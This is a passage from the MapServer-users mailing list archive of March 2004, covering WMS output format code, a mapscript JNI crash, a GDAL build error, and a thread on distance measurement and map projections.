<40461EA4.7010105@pobox.com> Steve Lime wrote: > Note that the MapServer version is 4.1 (a week or two old) and not 4.0. > > Anyway, I've created 2 stripped down versions of the mapfile. One with > output formats: > > OUTPUTFORMAT > NAME geotiff_24bit > MIMETYPE "image/tiff" > DRIVER "GDAL/GTiff" > IMAGEMODE RGB > END > > OUTPUTFORMAT > NAME geotiff_8bit > MIMETYPE "image/tiff" > DRIVER "GDAL/GTiff" > IMAGEMODE PC256 > END > > and one without. Here are the links to the capabilties (switch to your > favorite version): > > http://maps.dnr.state.mn.us/cgi-bin/mapserv40?map=/usr/local/www/docs/deli/mapserver/wms_test_outputformat.map&version=1.0.0&request=GetCapabilities > > http://maps.dnr.state.mn.us/cgi-bin/mapserv40?map=/usr/local/www/docs/deli/mapserver/wms_test_no_outputformat.map&version=1.0.0&request=GetCapabilities > > With WMS 1.0.0 tiff never shows up as an output format. With WMS 1.1.x > tiff is always always there. Steve, OK, looking in the code I see the following logic. Basically, because the WMS 1.0.0 format names are ideosyncratic I guess someone (perhaps me?) made the decision to just hardcode and support a few formats. While for later versions of the protocol the formats are actually determined from the declared (internally or via .map file) OUTPUTFORMATs. if (strcasecmp(wmtver, "1.0.7") <= 0) { // WMS 1.0.0 to 1.0.7 - We don't try to use outputformats list here for now msWMSPrintRequestCap(wmtver, "Map", script_url_encoded, "" #ifdef USE_GD_GIF "" #endif #ifdef USE_GD_PNG "" #endif #ifdef USE_GD_JPEG "" #endif #ifdef USE_GD_WBMP "" #endif , NULL); msWMSPrintRequestCap(wmtver, "Capabilities", script_url_encoded, "", NULL); msWMSPrintRequestCap(wmtver, "FeatureInfo", script_url_encoded, "", NULL); } else { char *mime_list[20]; // WMS 1.0.8, 1.1.0 and later // Note changes to the request names, their ordering, and to the formats msWMSPrintRequestCap(wmtver, "GetCapabilities", script_url_encoded, "application/vnd.ogc.wms_xml", NULL); msGetOutputFormatMimeList(map,mime_list,sizeof(mime_list)/sizeof(char*)); msWMSPrintRequestCap(wmtver, "GetMap", script_url_encoded, mime_list[0], mime_list[1], mime_list[2], mime_list[3], mime_list[4], mime_list[5], mime_list[6], mime_list[7], mime_list[8], mime_list[9], mime_list[10], mime_list[11], mime_list[12], mime_list[13], mime_list[14], mime_list[15], mime_list[16], mime_list[17], mime_list[18], mime_list[19], NULL ); pszMimeType = msLookupHashTable(map->web.metadata, "WMS_FEATURE_INFO_MIME_TYPE"); if (pszMimeType && strcasecmp(pszMimeType, "NONE") == 0) msWMSPrintRequestCap(wmtver, "GetFeatureInfo", script_url_encoded, "text/plain", "application/vnd.ogc.gml", NULL); else if (pszMimeType) msWMSPrintRequestCap(wmtver, "GetFeatureInfo", script_url_encoded, "text/plain", pszMimeType, "application/vnd.ogc.gml", NULL); else msWMSPrintRequestCap(wmtver, "GetFeatureInfo", script_url_encoded, "text/plain", "text/html", "application/vnd.ogc.gml", NULL); } There are a couple of issues here. One is, should we fix 1.0.0 WMS support to emit entries for all declared formats? Perhaps using the name of the outputformat converted to upper case? This would give us the "well known" names for the default GIF, PNG and JPEG formats and would allow arbitrary other formats to be listed. The other issue is that there is currently no way to prevent the various internally declared formats from appearing. Basically, all the standard formats (if built in) will appear regardless of what output formats are declared in the map file. The predefined ones are listed here (from mapoutput.c): /************************************************************************/ /* msApplyDefaultOutputFormats() */ /************************************************************************/ void msApplyDefaultOutputFormats( mapObj *map ) { char *saved_imagetype; if( map->imagetype == NULL ) saved_imagetype = NULL; else saved_imagetype = strdup(map->imagetype); if( msSelectOutputFormat( map, "gif" ) == NULL ) msCreateDefaultOutputFormat( map, "GD/GIF" ); if( msSelectOutputFormat( map, "png" ) == NULL ) msCreateDefaultOutputFormat( map, "GD/PNG" ); if( msSelectOutputFormat( map, "png24" ) == NULL ) msCreateDefaultOutputFormat( map, "GD/PNG24" ); if( msSelectOutputFormat( map, "jpeg" ) == NULL ) msCreateDefaultOutputFormat( map, "GD/JPEG" ); if( msSelectOutputFormat( map, "wbmp" ) == NULL ) msCreateDefaultOutputFormat( map, "GD/WBMP" ); if( msSelectOutputFormat( map, "swf" ) == NULL ) msCreateDefaultOutputFormat( map, "swf" ); if( msSelectOutputFormat( map, "imagemap" ) == NULL ) msCreateDefaultOutputFormat( map, "imagemap" ); if( msSelectOutputFormat( map, "pdf" ) == NULL ) msCreateDefaultOutputFormat( map, "pdf" ); if( msSelectOutputFormat( map, "GTiff" ) == NULL ) msCreateDefaultOutputFormat( map, "GDAL/GTiff" ); if( map->imagetype != NULL ) free( map->imagetype ); map->imagetype = saved_imagetype; } These built-ins can be overridden with a new definition by using the same name in an outputformat declaration in the .map file, but they can't be deleted (if you only wanted GeoTIFF support for instance). This was something that flipflopped a bit during development. Originally, I had the logic that declaring any output formats in the .map file would stop the pre-defined ones from being declared at all. However, later that was changed around to "postdefine" any builtin output formats not declared (under the same name) by the user in an outputformat block. If you are concerned about the WMS 1.0.0 formats list being hardcoded, then file a bug and assign it to me. I will fix this up. If you see a need for being able to avoid pre-defined formats from showing up in the list in the capabilities then file another bug about this, but I think we should talk a bit about how to accomplish it without too much disruption. By the way, I assume that we will need a somewhat similar ability to return formats in the WCS capabilities. Presumably some of the same issues exist with the exception of the whole versioning problem. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam@pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From mountainduo@mho.com Wed Mar 3 18:07:37 2004 From: mountainduo@mho.com (mountainduo@mho.com) Date: Wed, 3 Mar 2004 11:07:37 -0700 (MST) Subject: [Mapserver-users] layerObj In-Reply-To: <20040303172037.82111.qmail@web61109.mail.yahoo.com> References: <20040303172037.82111.qmail@web61109.mail.yahoo.com> Message-ID: <2858.64.58.31.38.1078337257.squirrel@a.mail.mho.net> Hello, I am working on java and mapscript. I have a dll and can create a map when i have the layers already turned on. Now i am trying to use the layerObj to change the status of a layer so it will display. here is the problem... When i call the function natively from java i always get EXCEPTION_ACCESS_VIOLATION. it seems that the layer is not in memory. I know that it finds it from getLayerByName function. The problem actually occurs in every function that tries to get or set something in the layerObj. here is section from mapscript_wrap.c and i would appreciate if you have any comments or suggestions to help get this to work: JNIEXPORT void JNICALL Java_edu_umn_gis_mapscript_mapscriptJNI_set_1layerObj_1status(JNIEnv *jenv, jclass jcls, jlong jarg1, jint jarg2) { layerObj *arg1 = (layerObj *) 0 ; int arg2 ; (void)jenv; (void)jcls; arg1 = *(layerObj **)&jarg1; arg2 = (int)jarg2; printf( "ok before setting status\n" ); if (arg1) (arg1)->status = arg2; } thanks, will From mh@svaj.dk Wed Mar 3 18:12:27 2004 From: mh@svaj.dk (mh@svaj.dk) Date: Wed, 3 Mar 2004 19:12:27 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: <7mj3pohdjfsryl7.030320041912@mail.inet.dk> Jeg er på ferie indtil d. 22 marts. Mine kollegaer kan træffes på tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From ed@topozone.com Wed Mar 3 18:25:08 2004 From: ed@topozone.com (Ed McNierney) Date: Wed, 3 Mar 2004 13:25:08 -0500 Subject: [Mapserver-users] Distance Calculation Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3E63@mercator.topozone.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C4014C.DB3C4F77 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Dear Map Guy - =20 If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. =20 Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. =20 You need to choose a projected coordinate system in order to do reasonable distance measurements. =20 - Ed =20 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington@yahoo.com]=20 Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users@lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.=20 =20 2 questions: =20 1. Should we be seeing this much difference in distances? =20 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? =20 Thanks in advance. =20 P.S. Point me somewhere else if this is the wrong place to ask these questions. _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 ------_=_NextPart_001_01C4014C.DB3C4F77 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
Dear Map Guy -
 
If you draw an 8-mile ring on a "geographic = projection" map=20 it will not be a circle.  If you create a map with a 20-mile extent = it will=20 not be a square.
 
Maps using "geographic projection" are useless = for making=20 distance measurements; you simply cannot do them in any kind of sensible = way.  The width of the top edge (east-west) of your "20 mile" image = is=20 DIFFERENT than the width of the bottom edge.  In fact, each row of = pixels=20 running across the image has a different width in miles/feet/meters = because=20 they're all different distances from the Equator.  That's why the = set of=20 all points 8 miles from a given point is not a circle or ring; it's not = even an=20 ellipse.
 
You need to choose a projected coordinate = system in order=20 to do reasonable distance measurements.
 
    - Ed
 

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed@topozone.com
(978) 251-4242 =


From: Map Guy = [mailto:mappington@yahoo.com]=20
Sent: Wednesday, March 03, 2004 12:21 PM
To:=20 mapserver-users@lists.gis.umn.edu
Subject: [Mapserver-users] = Distance=20 Calculation

We use TIGER data for our mapping data source. We use a geographic=20 projection (lat/lon). When we draw an 8 mile ring on a map with a 20 = mile=20 extent, and we plot a point and calculate the distance from the=20 center using Great Circle we get 7.5 miles. Using a Cartesian = calculation=20 we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in distances?
 
2. What is the correct way to draw a ring on a map using a = geographic=20 projection (lat/lon) and display distances between points using Great = Circle=20 without the distance placing the point incorrectly inside or outside the = ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to ask = these=20 questions.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking for=20 faster. ------_=_NextPart_001_01C4014C.DB3C4F77-- From mapgisnewbies@yahoo.com Wed Mar 3 19:01:12 2004 From: mapgisnewbies@yahoo.com (we wei) Date: Wed, 3 Mar 2004 11:01:12 -0800 (PST) Subject: [Mapserver-users] GDAL build errors Message-ID: <20040303190112.25761.qmail@web20730.mail.yahoo.com> Hi all, I have a question about building gdal-cvs version. When i do a configure as follow: ./configure --prefix=/usr/local/gdal --with-xerces --with-xerces-inc=/usr/local/include/xerces/include/xercesc --with-xerces-lib=/usr/local/lib/xerces/libxerces-c1_6_0.so --with-odbc --with-ogr --without-python It got compiled alright. But when I tried to make I got the following error: g++ -Wall -O2 -I/usr/local/easysoft -I/usr/local/easysoft/include -Iogrsf_frmts -I. -I../port -I../gcore -I../og r -I../port -c ogrinfo.cpp -fPIC -DPIC -o .libs/ogrinfo.o g++ -Wall -O2 -I/usr/local/easysoft -I/usr/local/easysoft/include -Iogrsf_frmts -I. -I../port -I../gcore -I../og r -I../port -c ogrinfo.cpp -o ogrinfo.o >/dev/null 2>&1 /bin/sh ../libtool --mode=link g++ ogrinfo.o ../libgdal.la -o ogrinfo g++ ogrinfo.o -o .libs/ogrinfo ../.libs/libgdal.so -L/usr/local/easysoft -L/usr/local/easysoft/lib -lodbc /usr/l ib/libjpeg.so -lpng -lz -ldl -L/usr/local/pgsql/lib -lpq -Wl,--rpath -Wl,/usr/local/gdal/lib ../.libs/libgdal.so: undefined reference to `SAXParseException::~SAXParseException(void)' ../.libs/libgdal.so: undefined reference to `SAX2XMLReaderImpl::SAX2XMLReaderImpl(void)' ../.libs/libgdal.so: undefined reference to `XMLString::transcode(char const *)' ../.libs/libgdal.so: undefined reference to `XMLPlatformUtils::Initialize(void)' ../.libs/libgdal.so: undefined reference to `SAXParseException::SAXParseException(SAXParseException const &)' ../.libs/libgdal.so: undefined reference to `XMLException type_info function' ../.libs/libgdal.so: undefined reference to `SAXParseException type_info function' collect2: ld returned 1 exit status make[1]: *** [ogrinfo] Error 1 make[1]: Leaving directory `/tmp/autotmp7/mapserver/gdal-cvs-040129/ogr' make: *** [ogr-apps] Error 2 # exit I have already put my xerces include and lib in ld.so.conf and I can find them by ldconfig. I am running out of idea actually. Could anyone help me on this build problem. Any help would be greatly appreciated. Thanks in advance! __________________________________ Do you Yahoo!? Yahoo! Search - Find what you’re looking for faster http://search.yahoo.com From ed@topozone.com Wed Mar 3 19:19:44 2004 From: ed@topozone.com (Ed McNierney) Date: Wed, 3 Mar 2004 14:19:44 -0500 Subject: [Mapserver-users] Distance Calculation Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3E6C@mercator.topozone.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C40154.7C617B17 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable First, please ALWAYS reply to the entire list. That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions! =20 Yes, of course you can choose one projection for your entire set of data. Or you could switch based on what you're mapping. The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well. The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland. =20 You also need to have a feel for what level of accuracy you need for your measurements. The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use. However, you need 10 different UTM zones to cover the lower 48 states. If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better. =20 Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious. =20 If you can provide a bit more detail on what you're trying to do we can offer more advice. =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington@yahoo.com]=20 Sent: Wednesday, March 03, 2004 2:01 PM To: Ed McNierney Subject: RE: [Mapserver-users] Distance Calculation Thank you for your quick response. =20 Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that? =20 Again, point me elsewhere if I am pushing in the wrong direction. =20 Thank you, =20 Map Guy Ed McNierney wrote: Dear Map Guy - =20 If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. =20 Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. =20 You need to choose a projected coordinate system in order to do reasonable distance measurements. =20 - Ed =20 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington@yahoo.com]=20 Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users@lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation =09 =09 We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.=20 =20 2 questions: =20 1. Should we be seeing this much difference in distances? =20 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? =20 Thanks in advance. =20 P.S. Point me somewhere else if this is the wrong place to ask these questions. =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 ------_=_NextPart_001_01C40154.7C617B17 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
First, please ALWAYS reply to the entire = list. =20 That way everyone benefits from the conversation, and the first person = to answer=20 your question doesn't have to make a lifetime commitment to further=20 questions!
 
Yes, of course you can choose one projection = for your=20 entire set of data.  Or you could switch based on what you're=20 mapping.  The reason there are so many map projections is because = each has=20 different properties, and therefore does some things well and other = things less=20 well.  The classic Mercator projection is excellent if you are = navigating=20 with a compass; it is very poor if you're trying to persuade someone = that Brazil=20 is several times larger than Greenland.
 
You also need to have a feel for what level = of accuracy=20 you need for your measurements.  The UTM family of projections is = popular=20 in part because it allows fairly accurate distance measurements, does = not=20 distort shapes badly, and is easy to use.  However, you need 10 = different=20 UTM zones to cover the lower 48 states.  If you need even more = accuracy a=20 custom Transverse Mercator projection centered on the longitude of = your=20 central point would be better.
 
Mapping large areas in a single map is harder = to do in=20 an appealing way than mapping small areas, because spatial distortion = becomes=20 more obvious.
 
If you can provide a bit more detail on what = you're=20 trying to do we can offer more advice.
 
    - Ed

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed@topozone.com
(978) 251-4242=20


From: Map Guy = [mailto:mappington@yahoo.com]=20
Sent: Wednesday, March 03, 2004 2:01 PM
To: Ed=20 McNierney
Subject: RE: [Mapserver-users] Distance=20 Calculation

Thank you for your quick response.
 
Is it possible to choose one projection for my entire set of data = which=20 includes the whole United States (TIGER data). Or, do I somehow have to = switch=20 based on what I am mapping? If the latter is true, then do you have a = suggestion=20 on how I would do that?
 
Again, point me elsewhere if I am pushing in the wrong = direction.
 
Thank you,
 
Map Guy

Ed McNierney <ed@topozone.com>=20 wrote:
Dear Map Guy -
 
If you draw an 8-mile ring on a "geographic = projection"=20 map it will not be a circle.  If you create a map with a 20-mile = extent=20 it will not be a square.
 
Maps using "geographic projection" are = useless for making=20 distance measurements; you simply cannot do them in any kind of = sensible=20 way.  The width of the top edge (east-west) of your "20 mile" = image is=20 DIFFERENT than the width of the bottom edge.  In fact, each row = of pixels=20 running across the image has a different width in miles/feet/meters = because=20 they're all different distances from the Equator.  That's why the = set of=20 all points 8 miles from a given point is not a circle or ring; it's = not even=20 an ellipse.
 
You need to choose a projected coordinate = system in order=20 to do reasonable distance measurements.
 
   =20 - Ed
 

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed@topozone.com
(978) 251-4242=20


From: Map Guy = [mailto:mappington@yahoo.com]=20
Sent: Wednesday, March 03, 2004 12:21 PM
To:=20 mapserver-users@lists.gis.umn.edu
Subject: [Mapserver-users] = Distance Calculation

We use TIGER data for our mapping data source. We use a = geographic=20 projection (lat/lon). When we draw an 8 mile ring on a map with a 20 = mile=20 extent, and we plot a point and calculate the distance from the=20 center using Great Circle we get 7.5 miles. Using a Cartesian = calculation=20 we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in distances?
 
2. What is the correct way to draw a ring on a map using a = geographic=20 projection (lat/lon) and display distances between points using Great = Circle=20 without the distance placing the point incorrectly inside or outside = the=20 ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to ask = these=20 questions.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking=20 for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking for=20 faster. ------_=_NextPart_001_01C40154.7C617B17-- From bartvde@xs4all.nl Wed Mar 3 19:49:10 2004 From: bartvde@xs4all.nl (Bart van den Eijnden) Date: Wed, 03 Mar 2004 20:49:10 +0100 Subject: [Mapserver-users] Mapserver WCS interface Message-ID: Hi list, here and there I have heard that a WCS interface is currently being developed on Mapserver. Is there any timeframe set for the WCS development, and is it already clear what its capabilities will be? What I have understood from the WCS specs until now is that a WCS service is almost free to decide which operations to support on the data, i.e. not many operations are mandatory. Any info appreciated. Best regards, Bart From mappington@yahoo.com Wed Mar 3 19:56:38 2004 From: mappington@yahoo.com (Map Guy) Date: Wed, 3 Mar 2004 11:56:38 -0800 (PST) Subject: [Mapserver-users] Distance Calculation In-Reply-To: <13858AA1A74F30419F319ACB66A9D1224E3E6C@mercator.topozone.com> Message-ID: <20040303195638.90212.qmail@web61104.mail.yahoo.com> --0-2002709639-1078343798=:89206 Content-Type: text/plain; charset=us-ascii Ed McNierney wrote:First, please ALWAYS reply to the entire list. That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions! Yes, of course you can choose one projection for your entire set of data. Or you could switch based on what you're mapping. The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well. The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland. You also need to have a feel for what level of accuracy you need for your measurements. The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use. However, you need 10 different UTM zones to cover the lower 48 states. If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better. Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious. If you can provide a bit more detail on what you're trying to do we can offer more advice. We are trying to map underlying layers like streets, parks, cities, etc. taken from TIGER for the United States. Then on top of this we are drawing a ring usually less than 20 miles with the center being the center of the map. Then we are mapping points given to us with lat/lon. In the legend we put the distance of the point from the center of the map. It is this distance which when done with Great Circle calc raised the red flag because the distance would put the point outside the circle when it was being drawn inside the circle. If we used Cartesian distance, then the distance would be off a bit. So, based on your answers, we MUST project our data in order for our distance shown in the legend to be accurate and also match what we draw on the map, right? Thanks. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington@yahoo.com] Sent: Wednesday, March 03, 2004 2:01 PM To: Ed McNierney Subject: RE: [Mapserver-users] Distance Calculation Thank you for your quick response. Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that? Again, point me elsewhere if I am pushing in the wrong direction. Thank you, Map Guy Ed McNierney wrote: Dear Map Guy - If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. You need to choose a projected coordinate system in order to do reasonable distance measurements. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington@yahoo.com] Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users@lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles. 2 questions: 1. Should we be seeing this much difference in distances? 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? Thanks in advance. P.S. Point me somewhere else if this is the wrong place to ask these questions. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you’re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you’re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you’re looking for faster. --0-2002709639-1078343798=:89206 Content-Type: text/html; charset=us-ascii

Ed McNierney <ed@topozone.com> wrote:
First, please ALWAYS reply to the entire list.  That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions!
 
Yes, of course you can choose one projection for your entire set of data.  Or you could switch based on what you're mapping.  The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well.  The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland.
 
You also need to have a feel for what level of accuracy you need for your measurements.  The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use.  However, you need 10 different UTM zones to cover the lower 48 states.  If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better.
 
Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious.
 
If you can provide a bit more detail on what you're trying to do we can offer more advice.
 
We are trying to map underlying layers like streets, parks, cities, etc. taken from TIGER for the United States. Then on top of this we are drawing a ring usually less than 20 miles with the center being the center of the map. Then we are mapping points given to us with lat/lon. In the legend we put the distance of the point from the center of the map. It is this distance which when done with Great Circle calc raised the red flag because the distance would put the point outside the circle when it was being drawn inside the circle. If we used Cartesian distance, then the distance would be off a bit.
 
So, based on your answers, we MUST project our data in order for our distance shown in the legend to be accurate and also match what we draw on the map, right?
 
Thanks.
 
 
 
    - Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed@topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington@yahoo.com]
Sent: Wednesday, March 03, 2004 2:01 PM
To: Ed McNierney
Subject: RE: [Mapserver-users] Distance Calculation

Thank you for your quick response.
 
Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that?
 
Again, point me elsewhere if I am pushing in the wrong direction.
 
Thank you,
 
Map Guy

Ed McNierney <ed@topozone.com> wrote:
Dear Map Guy -
 
If you draw an 8-mile ring on a "geographic projection" map it will not be a circle.  If you create a map with a 20-mile extent it will not be a square.
 
Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way.  The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge.  In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator.  That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse.
 
You need to choose a projected coordinate system in order to do reasonable distance measurements.
 
    - Ed
 

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed@topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington@yahoo.com]
Sent: Wednesday, March 03, 2004 12:21 PM
To: mapserver-users@lists.gis.umn.edu
Subject: [Mapserver-users] Distance Calculation

We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in distances?
 
2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to ask these questions.

Do you Yahoo!?
Yahoo! Search - Find what you’re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you’re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you’re looking for faster. --0-2002709639-1078343798=:89206-- From mappington@yahoo.com Wed Mar 3 20:15:07 2004 From: mappington@yahoo.com (Map Guy) Date: Wed, 3 Mar 2004 12:15:07 -0800 (PST) Subject: [Mapserver-users] Distance Calculation In-Reply-To: <13858AA1A74F30419F319ACB66A9D1224E3E6C@mercator.topozone.com> Message-ID: <20040303201507.37566.qmail@web61105.mail.yahoo.com> --0-685662255-1078344907=:37492 Content-Type: text/plain; charset=us-ascii I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right: Point 1 (Lon,Lat): -87.6552,41.9148 Point 2 (Lon,Lat): -87.8081,41.8884 Cartesian Distance between Point 1 and 2 in miles: 11.2 Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1 Thanks again. Ed McNierney wrote: First, please ALWAYS reply to the entire list. That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions! Yes, of course you can choose one projection for your entire set of data. Or you could switch based on what you're mapping. The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well. The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland. You also need to have a feel for what level of accuracy you need for your measurements. The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use. However, you need 10 different UTM zones to cover the lower 48 states. If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better. Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious. If you can provide a bit more detail on what you're trying to do we can offer more advice. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington@yahoo.com] Sent: Wednesday, March 03, 2004 2:01 